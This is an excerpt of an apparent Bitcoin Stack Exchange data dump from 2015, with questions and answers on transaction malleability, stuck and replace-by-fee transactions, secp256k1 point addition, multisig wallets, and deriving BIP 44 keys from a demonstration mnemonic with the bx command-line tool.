  <row Id="40816" PostTypeId="1" CreationDate="2015-10-09T17:42:27.637" Score="0" ViewCount="258" Body="&lt;p&gt;i sent 0.4 btc to exchanger &#xA;and this transaction was sent 2 times from my wallet and spent to me 200$ (0.8 btc)&#xA;which i wanted only 0.4btc to send&#xA;transaction hash:&#xA;&lt;a href=&quot;https://blockchain.info/address/15o8CfP4z8cWiZCp5euzNEqXjEFTyNF5Yb&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/15o8CfP4z8cWiZCp5euzNEqXjEFTyNF5Yb&lt;/a&gt;&#xA;funds are still missing from my blockchain wallet more than hour ago&#xA;and at this transaction at other place when clicking on &quot;hash&quot; i see:&#xA;&quot; A conflicting transaction has been detected in our memory pool. The transaction hash displayed below may change. &quot;&#xA;&lt;a href=&quot;https://blockchain.info/tx/f3cf0d91fd678de0bbbf13aa69e87ab3c0e7c55c3aecb03c06ac78d5139fc2b6&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/f3cf0d91fd678de0bbbf13aa69e87ab3c0e7c55c3aecb03c06ac78d5139fc2b6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so my funds are gone now? or will they come back&lt;/p&gt;&#xA;" OwnerUserId="29813" LastEditorUserId="18196" LastEditDate="2016-03-06T19:15:04.643" LastActivityDate="2016-03-06T19:15:04.643" Title="this bitcoin address contains transactions which may be double spends. You should be extremely careful" Tags="|transactions|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40817" PostTypeId="2" ParentId="40799" CreationDate="2015-10-09T17:48:35.133" Score="2" Body="&lt;p&gt;Most ecc libraries will have this function, but if you want to program it yourself, here's what you do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, compute the slope of the line containing the points A and B. Let A = (X_a, Y_a) and B = (X_b, Y_b). The equation for the slope is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;s = (Y_a - Y_b) / (X_a - X_b)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting point, we'll call C = (X_c, Y_c) = A+B. Doing some math, you get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X_c = s^2 - X_a - X_b&lt;br&gt;&#xA;Y_c = Y_a + s (X_c - X_a) = Y_b + s(X_c - X_b)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If X_a == X_b, then it depends on Y_a and Y_b. If Y_a == Y_b, then A and B are the same, so really, you're just computing a point doubling (2*A). If Y_a == -Y_b (the only other possibility) then A+B = the point at infinity, or the identity. Usually, that's not a very interesting point for cryptography. Computing 2*A is a little trickier, but can be done. You're already doing that when you compute the public key from the private key with G anyway, so I'll assume you have access to something that lets you double a point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note all the operations are all field operations, so you have to mod by P for secp256k1 (FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F in hex).&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="2306" LastEditDate="2015-10-24T04:21:32.407" LastActivityDate="2015-10-24T04:21:32.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40818" PostTypeId="2" ParentId="22386" CreationDate="2015-10-09T18:39:52.920" Score="0" Body="&lt;p&gt;I never think I heard &quot;frictionless&quot; - but I've heard &quot;low friction&quot; and &quot;less friction&quot;.  Of course, your mileage may vary, but compared i.e. to credit cards (typically 2% transaction fee, chargeback risk many months after the transaction) or remittance businesses charging up to 10%, wire transfers taking several days ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the scalability issues I'm quite concerned the level of friction will grow a lot in the not so far future.  We're really privileged to be able to put a coffee transaction on the public blockchain, that probably won't make any sense in ten years time.  Then again, I'm sure other technologies (most likely bitcoin-based) like the lightning network will fix those issues, so we'll have really low friction again.&lt;/p&gt;&#xA;" OwnerUserId="28129" LastActivityDate="2015-10-09T18:39:52.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40819" PostTypeId="2" ParentId="40810" CreationDate="2015-10-09T20:14:29.210" Score="0" Body="&lt;p&gt;Perhaps this is due to the &quot;malleability attack&quot; that was going on; it can be that the transaction has gone through with a different transaction ID.  It would be easier if you disclose the input and/or output address.&lt;/p&gt;&#xA;" OwnerUserId="28129" LastActivityDate="2015-10-09T20:14:29.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40820" PostTypeId="2" ParentId="4445" CreationDate="2015-10-09T21:05:42.003" Score="5" Body="&lt;p&gt;Blockcypher supports &lt;a href=&quot;https://live.blockcypher.com/btc-testnet/&quot; rel=&quot;noreferrer&quot;&gt;testnet3&lt;/a&gt; and has their own &lt;a href=&quot;https://live.blockcypher.com/bcy/&quot; rel=&quot;noreferrer&quot;&gt;testnet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18506" LastActivityDate="2015-10-09T21:05:42.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40821" PostTypeId="2" ParentId="40811" CreationDate="2015-10-09T22:03:19.187" Score="2" Body="&lt;p&gt;There has been some malleability attacks recently - third party duplicating the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_Malleability&lt;/a&gt; for details on the attack technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attack is merely an annoyance as far as I've understood, and there is a BIP in the making (BIP 62) to deal with this attack vector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps this explains your problems.&lt;/p&gt;&#xA;" OwnerUserId="28129" LastEditorUserId="28129" LastEditDate="2015-10-09T22:27:21.217" LastActivityDate="2015-10-09T22:27:21.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40824" PostTypeId="1" AcceptedAnswerId="40827" CreationDate="2015-10-10T09:56:31.890" Score="4" ViewCount="586" Body="&lt;p&gt;I read this post on Bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability&quot; rel=&quot;nofollow&quot;&gt;Scalability&lt;/a&gt;. &#xA;As far as I understand sequence of steps in Bitcoin, simplified version of performing transaction should be following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Sender's side:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create transaction&lt;/li&gt;&#xA;&lt;li&gt;Generate signature and sign&lt;/li&gt;&#xA;&lt;li&gt;Broadcast the transaction to peers&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;On Peer's side:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get the transaction&lt;/li&gt;&#xA;&lt;li&gt;Verify signature&lt;/li&gt;&#xA;&lt;li&gt;Verify transaction&lt;/li&gt;&#xA;&lt;li&gt;Pass to the next peer. - ???&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;//if a peer is a miner&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Collect transactions into block&lt;/li&gt;&#xA;&lt;li&gt;Calculate PoW for the block&lt;/li&gt;&#xA;&lt;li&gt;If found include it to his version of the blockchain&lt;/li&gt;&#xA;&lt;li&gt;Broadcast the block (with nonce and targe)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other peers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get the block&lt;/li&gt;&#xA;&lt;li&gt;Verify that PoW for block is Valid&lt;/li&gt;&#xA;&lt;li&gt;Include the block into their version of the blockchain&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would like to understand Bitcoin's performance speed at every step in general or given my specifications of the laptop if possible.&#xA;&lt;strong&gt;How I can calculate signature generation, signature verification, transaction verification, block PoW verification, **etc&lt;/strong&gt; &lt;strong&gt;speed&lt;/strong&gt;?**&lt;/p&gt;&#xA;" OwnerUserId="13358" LastEditorUserId="5406" LastEditDate="2017-06-17T23:43:13.740" LastActivityDate="2017-06-17T23:43:13.740" Title="How to calculate signature generation, signature verification, transaction verification speed?" Tags="|transaction-verification|scalability|message-signing|performance|message-verification|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40825" PostTypeId="2" ParentId="53852" CreationDate="2015-10-10T15:10:00.197" Score="38" Body="&lt;p&gt;&lt;em&gt;this is a generic answer applying to &amp;quot;light&amp;quot; wallets - I don't know much about the blockchain.info-wallet&lt;/em&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;There are several approaches that may work, I've tried to list all the methods I know below.  I don't know how the blockchain.info-wallet works, but probably I would try things in this order:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wait for the transaction to go through (see 0a below)&lt;/li&gt;&#xA;&lt;li&gt;Do a &amp;quot;CPFP&amp;quot; (see 2 below)&lt;/li&gt;&#xA;&lt;li&gt;Ask the pools for help (see 3 below)&lt;/li&gt;&#xA;&lt;li&gt;Wait for the transaction to be forgotten and retry sending (see 0b below)&lt;/li&gt;&#xA;&lt;li&gt;Try to do a double spend (see 1b below)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;0) Wait it out.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;0a) Wait for the transaction to go through.  Most likely there will be free capacity in the network after some hours, some days or a week.  In periods with free capacity, even low-fee transactions will pass.  Rarely one has to wait longer than the next Sunday evening.&lt;/p&gt;&#xA;&lt;p&gt;0b) Wait for the transaction to be forgotten, and then create a new transaction with a higher fee.  In some few exceptional cases (notably around new year 2017/2018 and in 2021) several weeks or even months have passed without any free capacity.  The original transaction may eventually be forgotten by the network.  Some wallets will then offer to create a new transaction, Mycelium will offer to delete the old transaction, and with some luck a &amp;quot;double spend&amp;quot; will be possible - though this is very unreliable as the original transaction may be purposely or accidentally rebroadcast both by the sender, receiver and any third-party.&lt;/p&gt;&#xA;&lt;p&gt;0c) From some wallets, the most intuitive panic action is to actively rebroadcast the transaction. This probably won't help at all, and it's the exact opposite of 0b, so it's probably &lt;em&gt;not a good idea&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1) Double spend with a higher fee (RBF)&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;1a) Using the &amp;quot;Replace by Fee&amp;quot;-protocol - this probably does not apply to you, but it's arguably the best way to &amp;quot;unstick&amp;quot; transactions.  If the original transaction is marked up with &amp;quot;RBF allowed&amp;quot;, most of the network will accept a replacement transaction with a higher fee.  Not all wallets supports setting this flag, and even fewer has RBF turned on by default - for a good reason, the RBF protocol allows an unconfirmed transaction to be reverted, so using the RBF-flag is a terrible idea if you want someone to trust a zero-conf transaction.  (the RBF-feature has been removed from most Bitcoin Cash software, as they deem it both &amp;quot;harmful&amp;quot; and &amp;quot;not needed&amp;quot;).&lt;/p&gt;&#xA;&lt;p&gt;1b) Doing RBF/&amp;quot;Double spend&amp;quot; even if the original transaction was not marked as RBF.  Miners (and nodes) are supposed to ignore the double spend transaction - but you may be lucky.  You may need to use specialized software to perform such a double spend.  It may work, either because the original transaction has ended up in a &amp;quot;ghost-like&amp;quot; state where it's known by some nodes but not others - maybe some miners are unaware that you're doing a double-spend - or it may work because some miners deliberately accepts double-spent transactions as they can earn more fees on it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2) Child Pays for Parent (CPFP).&lt;/strong&gt; if a new transaction is made with a high fee, building on top of the old transaction, most of the miners will include the whole chain of transaction in the block they're mining at.&lt;/p&gt;&#xA;&lt;p&gt;2a) Get the receiver of the funds to spend the funds they received on a new transaction, with high fee.  This may of course not always be possible, but ...&lt;/p&gt;&#xA;&lt;p&gt;2b) If not all the money in the wallet was spent, the transaction will typically include two outputs, one &amp;quot;change UTXO&amp;quot; that goes back to the wallet.  If you can spend this one with a higher fee, the transaction may go through faster. Some wallets have a menu option for &amp;quot;accelerating&amp;quot; the transaction through &amp;quot;CPFP&amp;quot;.  In some wallets one can manually decide what UTXOs to include in the transaction. One can also send &lt;em&gt;all&lt;/em&gt; the funds in the wallet i.e. back to an address belonging to the same wallet, but the fee for that may become excessive as the wallet may be filled up with &amp;quot;dust&amp;quot; making such a transaction big and costly.  Electrum does support spending some specific UTXO, and Mycelium has the &amp;quot;CPFP&amp;quot; acceleration button.  If you can take out a backup seed phrase from your wallet, it can most likely be used in Electrum or Mycelium.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;3) Ask the pools for help.&lt;/strong&gt;  viabtc has their &amp;quot;transaction accelerator&amp;quot; at &lt;a href=&quot;https://pool.viabtc.com/tools/txaccelerator/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pool.viabtc.com/tools/txaccelerator/&lt;/a&gt;, antpool.com also has some similar service, there even exists services where one can pay by credit card to get the transaction prioritized.&lt;/p&gt;&#xA;" OwnerUserId="28129" LastEditorUserId="28129" LastEditDate="2024-03-06T11:37:54.760" LastActivityDate="2024-03-06T11:37:54.760" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="40826" PostTypeId="2" ParentId="40816" CreationDate="2015-10-10T15:15:38.877" Score="1" Body="&lt;p&gt;One of the transactions was rejected by blockchain.info and one got through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a &quot;malleability attack&quot; going on just recently, that's probably the reason.  The attacker can take legitimate transactions, change the transaction ID (hash) and republish the transaction to the network.  See more at &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_Malleability&lt;/a&gt; - there is a BIP 62 in the pipeline dealing with this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attack is merely an annoyance, the recipient will never get twice the amount (800 mBTC in your case) through a malleability attack.&lt;/p&gt;&#xA;" OwnerUserId="28129" LastEditorUserId="24925" LastEditDate="2015-11-09T16:28:41.180" LastActivityDate="2015-11-09T16:28:41.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40827" PostTypeId="2" ParentId="40824" CreationDate="2015-10-10T15:18:44.250" Score="0" Body="&lt;p&gt;All of these things you want to calculate are &lt;em&gt;highly&lt;/em&gt; dependent not just on the hardware you use, but the software you use. For example you can generate signatures many different ways and every bitcoin wallet generates them a little differently. The signature generation performance of Java in bitcoinJ is going to different than that of Go in btcwallet is going to be different than that of C++ in bitcoin core and so on. In addition, deterministic signatures are going to have a different performance profile than non-deterministic signatures and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you really wanted to, you can run some performance testing on any one of these, though not all of them exist. For verifying signatures in btcd, there is a &lt;a href=&quot;https://github.com/btcsuite/btcd/blob/master/btcec/bench_test.go#L87-L113&quot; rel=&quot;nofollow&quot;&gt;benchmark test&lt;/a&gt; that you can use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that block verification (or creation) necessarily means verification of all transactions in the block as well as checking the proof-of-work. Checking the proof-of-work, by the way, is really as simple as a calculation of a double-sha256, or a single &quot;hash&quot; that mining gear can do billions or trillions of per second.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-10T15:18:44.250" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40830" PostTypeId="1" CreationDate="2015-10-10T18:45:31.303" Score="2" ViewCount="1771" Body="&lt;p&gt;I use the Blockchain.info receive API with great succes.&#xA;Yesterday I created a new address: 1MMVp6fzZ6QrVYXg9iRSJb5PsM8crq5iMZ&#xA;It received 1.5 BTC and was transferred to my BTC address (unfonfirmed). With transaction hash: 79ff50d749d1d8099e68ac04dba4e64645322e49e671326d74d871bfd0f868eb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I logged in on my wallet, the unconfirmed transaction was gone.&#xA;Now if I search that hash on blockchain.info, I get following message: Transaction rejected by our node. Reason: Transaction was previously accepted but has been pruned from our database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the Blockchain API retry to send the BTC to my address or are they forever lost on the generated address? Would it make sense to make a small payment to that address so the Blockchain API would resend the whole amount?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this happen?&lt;/p&gt;&#xA;" OwnerUserId="27468" LastEditorUserId="5292" LastEditDate="2015-10-11T00:34:28.730" LastActivityDate="2016-01-18T08:35:58.377" Title="Transaction rejected by our node. Blockchain receive API" Tags="|api|blockchain.info|transaction-malleability|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40831" PostTypeId="1" CreationDate="2015-10-10T23:36:55.383" Score="4" ViewCount="519" Body="&lt;p&gt;TL;DR: What wallet apps are there for android (or sailfishOS) that has &quot;true&quot; support for multisig?&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Requirements/rationale&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Thinking a bit, if I'm to possess serious amounts of bitcoins, I want a well-secured savings wallet - or, eventually just a well-secured savings address.  After some thinking, the requirements seems to be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) it should not be easy to withdraw funds, withdrawing should either involve multiple people or the passing of a time window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) the bitcoins must be secured against my death&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) the bitcoins must be secured against loss/theft of a private key&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Solution: multisig&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;One stupid-simple solution would be to generate a single private key, write parts of it down on 5 papers in such a manner that any three out of five papers needs to be recovered to learn the full private key, seal the papers in envelopes, and then distribute those envelopes to people/locations I trust, instructing them to keep them in a safe place and hand them over to my next in kin in case of my death.  It actually seems like a decent way to solve this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway - why bother with such obscurity when bitcoin supports multi-sig transactions out of the box.  Even for daily usage patterns multi-sig seems like a good idea.  As for a savings wallet, I think that in the start it would suffice with 2-of-3 - me and my wife, plus a third arbitrator that can help us out in case of death or divorce.  Armory seems to be the go-to-wallet for the Linux desktop - but I'd like access from mobile devices as well.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Apps tested so far&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;copay - it could do the trick, but it seems to be a &quot;lock-in platform&quot; - all signing parties needs to have copay installed.  That's not acceptable.  For one thing, I want a platform neutral solution, like a savings wallet I'd mainly access from a &quot;proper&quot; laptop/desktop.&lt;/li&gt;&#xA;&lt;li&gt;&quot;bitx smart wallet&quot; - what kind of beast is this, requiring me to verify my email before use?&lt;/li&gt;&#xA;&lt;li&gt;greenbits/greenaddress - seems like their &quot;multisig support&quot; is very narrow; only 2-of-2, with their servers acting as one of the signing parties, and offering to sign against 2f-authentication.  Totally not what I want.&lt;/li&gt;&#xA;&lt;li&gt;yet another android wallet that came up when searching for &quot;multisig&quot; - but it apparently had no support for multisig.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28129" LastActivityDate="2017-10-27T12:22:14.127" Title="What multi-sig wallets are there for Android/Jolla?" Tags="|wallet|android|multi-signature|wallet-security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40833" PostTypeId="2" ParentId="40780" CreationDate="2015-10-11T04:01:32.427" Score="4" Body="&lt;p&gt;BIP 32/39 allows key portability across different wallet implementations. To complement the &amp;quot;Wizard of Ozzie&amp;quot; answer above, a different method (C++ based, not JavaScript based code) is provided below to reconstruct the results above using the bitcoin-explorer (bx) command line interface that should be executed offline with &amp;quot;real&amp;quot; mnemonics and keys.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Without having high Evaluation Assurance Level (EAL) pedigree ratings ranging from 1 to 7 that also address supply chain risks, one should not put much trust in HD key generators without cross correlating results between different genetically independent key generator implementations.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Results below were created without a BIP 39 passphrase to reconstruct results shown above. Results below also provide reconstruction details for m/44'/0'/0'/0 (BIP 44 extended private branch key) and M/44'/0'/0'/0 (BIP 44 extended public branch key) that can be used to synthesize over 4 billion private/public key pairs and Bitcoin addresses from a wallet's BIP 39 backup mnemonic words. Only the first 3 private keys and associated public addresses are computed below to establish patterns used to compute 4 billion private/public key pairs and Bitcoin addresses from a wallet's BIP 39 backup mnemonic words.&lt;/p&gt;&#xA;&lt;h1&gt;1) Reconstituting master seed using BIP 39:&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;% bx mnemonic-to-seed business weird season glimpse pole robot surprise next term toddler doctor fresh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;6c5f9d00018f2a2030afcc6f3057e5a4dea6dfb905dd4b0197a9a047bcfe0501662332a3caa846b1223ff3d20cfb295e7f94fe51c94472e3f8429c97754132e9&lt;/p&gt;&#xA;&lt;h1&gt;2) Reconstituting extended private keys:&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;% bx mnemonic-to-seed business weird season glimpse pole robot surprise next term toddler doctor fresh | bx hd-new -v 76066276&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;xprv9s21ZrQH143K29DbrSg2YgC2iyW3Gx3FhNExbxEacDWJCmz9xmsxKjon93FSC85Bv4AkszKLK1d3FA6PKS1Wb6xYotbDppezTMQaazbPL6h&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note that &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/chainparams.cpp#L109&quot; rel=&quot;nofollow noreferrer&quot;&gt;76066276&lt;/a&gt; is a base10 four byte version prefix of 0x0488ADE4 (base16) that cause the extended BIP 32 private keys to start with &amp;quot;xprv&amp;quot;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;&lt;a href=&quot;https://dcpos.github.io/bip39/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JavaScript BIP 44 tab results&lt;/a&gt; can be verified by the following:&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;% bx mnemonic-to-seed business weird season glimpse pole robot surprise next term toddler doctor fresh | bx hd-new -v 76066276 | bx hd-private -d -i 44 | bx hd-private -d -i 0 | bx hd-private -d -i 0 | bx hd-private -i 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;xprvA1hRqX7kSHXAfsq8pNTYtwvgZXDRuUT6MtZ7WHgC8WTquy3LnzZFHRsZfH7shWEqjUPDBgFhXj4o53QPoapPVZUUic944UFbtofrAvzCvmt&lt;/p&gt;&#xA;&lt;h3&gt;A) BIP 44 WIF private key m/44'/0'/0'/0/0:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;% echo 'xprvA1hRqX7kSHXAfsq8pNTYtwvgZXDRuUT6MtZ7WHgC8WTquy3LnzZFHRsZfH7shWEqjUPDBgFhXj4o53QPoapPVZUUic944UFbtofrAvzCvmt' | bx hd-private -i 0 | bx hd-to-ec | bx ec-to-wif -v 128&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;L5TPeiMKRnMbvQF6z1EYa3gmpwP6xSJN21nfAipXnJoD2CVEXGBH&lt;/p&gt;&#xA;&lt;h3&gt;B) BIP 44 WIF private key m/44'/0'/0'/0/1:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;% echo 'xprvA1hRqX7kSHXAfsq8pNTYtwvgZXDRuUT6MtZ7WHgC8WTquy3LnzZFHRsZfH7shWEqjUPDBgFhXj4o53QPoapPVZUUic944UFbtofrAvzCvmt' | bx hd-private -i 1 | bx hd-to-ec | bx ec-to-wif -v 128&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Kx3GxX5o8KynsJAs9jWKYyqKnPmAjVApBr1TNuuXdFkknG8nvJHr&lt;/p&gt;&#xA;&lt;h3&gt;C) BIP 44 WIF private key m/44'/0'/0'/0/2:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;% echo 'xprvA1hRqX7kSHXAfsq8pNTYtwvgZXDRuUT6MtZ7WHgC8WTquy3LnzZFHRsZfH7shWEqjUPDBgFhXj4o53QPoapPVZUUic944UFbtofrAvzCvmt' | bx hd-private -i 2 | bx hd-to-ec | bx ec-to-wif -v 128&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;L16rfuc8mPts63KcovJH57rwqGfQP48q6hV3mHgbi9fbiX9gAEPp&lt;/p&gt;&#xA;&lt;h1&gt;3) Reconstituting extended public keys:&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;% bx mnemonic-to-seed business weird season glimpse pole robot surprise next term toddler doctor fresh | bx hd-new -v 76067358&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;xpub661MyMwAqRbcEdJ4xUD2up8mH1LXgQm74bAZQLeCAZ3H5aKJWKCCsY8FzEPiHJDnKncknSSFymNVrbeBD6W4LxYiKtubg9U3PDHpM7DEZx7&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note that &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/chainparams.cpp#L108&quot; rel=&quot;nofollow noreferrer&quot;&gt;76067358&lt;/a&gt; is a base10 four byte version prefix of 0x0488B21E (base16) that causes the extended BIP 32 public keys to start with &amp;quot;xpub&amp;quot;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;&lt;a href=&quot;https://dcpos.github.io/bip39/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JavaScript BIP 44 tab results&lt;/a&gt; can be verified by the following:&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;% bx mnemonic-to-seed business weird season glimpse pole robot surprise next term toddler doctor fresh | bx hd-new -v 76066276 | bx hd-private -d -i 44 | bx hd-private -d -i 0 | bx hd-private -d -i 0 | bx hd-public -i 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;xpub6EgnF2eeGf5TtMubvPzZG5sR7Z3vJwAwj7UiJg5ogqzpnmNVLXsVqEC3Wa4g8djxA9JcPFB9rSW9qvjYYCNbhJHkh7Pnm2uWUh5ZJ3pYNBj&lt;/p&gt;&#xA;&lt;h3&gt;A) Address for BIP 44 public key M/44'/0'/0'/0/0:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;% echo 'xpub6EgnF2eeGf5TtMubvPzZG5sR7Z3vJwAwj7UiJg5ogqzpnmNVLXsVqEC3Wa4g8djxA9JcPFB9rSW9qvjYYCNbhJHkh7Pnm2uWUh5ZJ3pYNBj' | bx hd-public -i 0 | bx hd-to-ec | bx ec-to-address -v 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;18SKy9bqE57Mif4p1iGbGqPP2vgV8YXFw8&lt;/p&gt;&#xA;&lt;h3&gt;B) Address for BIP 44 public key M/44'/0'/0'/0/1:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;% echo 'xpub6EgnF2eeGf5TtMubvPzZG5sR7Z3vJwAwj7UiJg5ogqzpnmNVLXsVqEC3Wa4g8djxA9JcPFB9rSW9qvjYYCNbhJHkh7Pnm2uWUh5ZJ3pYNBj' | bx hd-public -i 1 | bx hd-to-ec | bx ec-to-address -v 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;13EGK6DifQ6jsx5habBz4SoNYitPaqYUTL&lt;/p&gt;&#xA;&lt;h3&gt;C) Address for BIP 44 public key M/44'/0'/0'/0/2:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;% echo 'xpub6EgnF2eeGf5TtMubvPzZG5sR7Z3vJwAwj7UiJg5ogqzpnmNVLXsVqEC3Wa4g8djxA9JcPFB9rSW9qvjYYCNbhJHkh7Pnm2uWUh5ZJ3pYNBj' | bx hd-public -i 2 | bx hd-to-ec | bx ec-to-address -v 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;1JMeSGf1AB6vsRQxRJsVFBtRmqWdbNcn5D&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;It is worth noting bx unifies key HD key/address generation across 100+ altcoins, see &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin/wiki/Altcoin-Version-Mappings#bip44-altcoin-version-mapping-table&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP 44 related Table&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-11-17T19:56:48.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
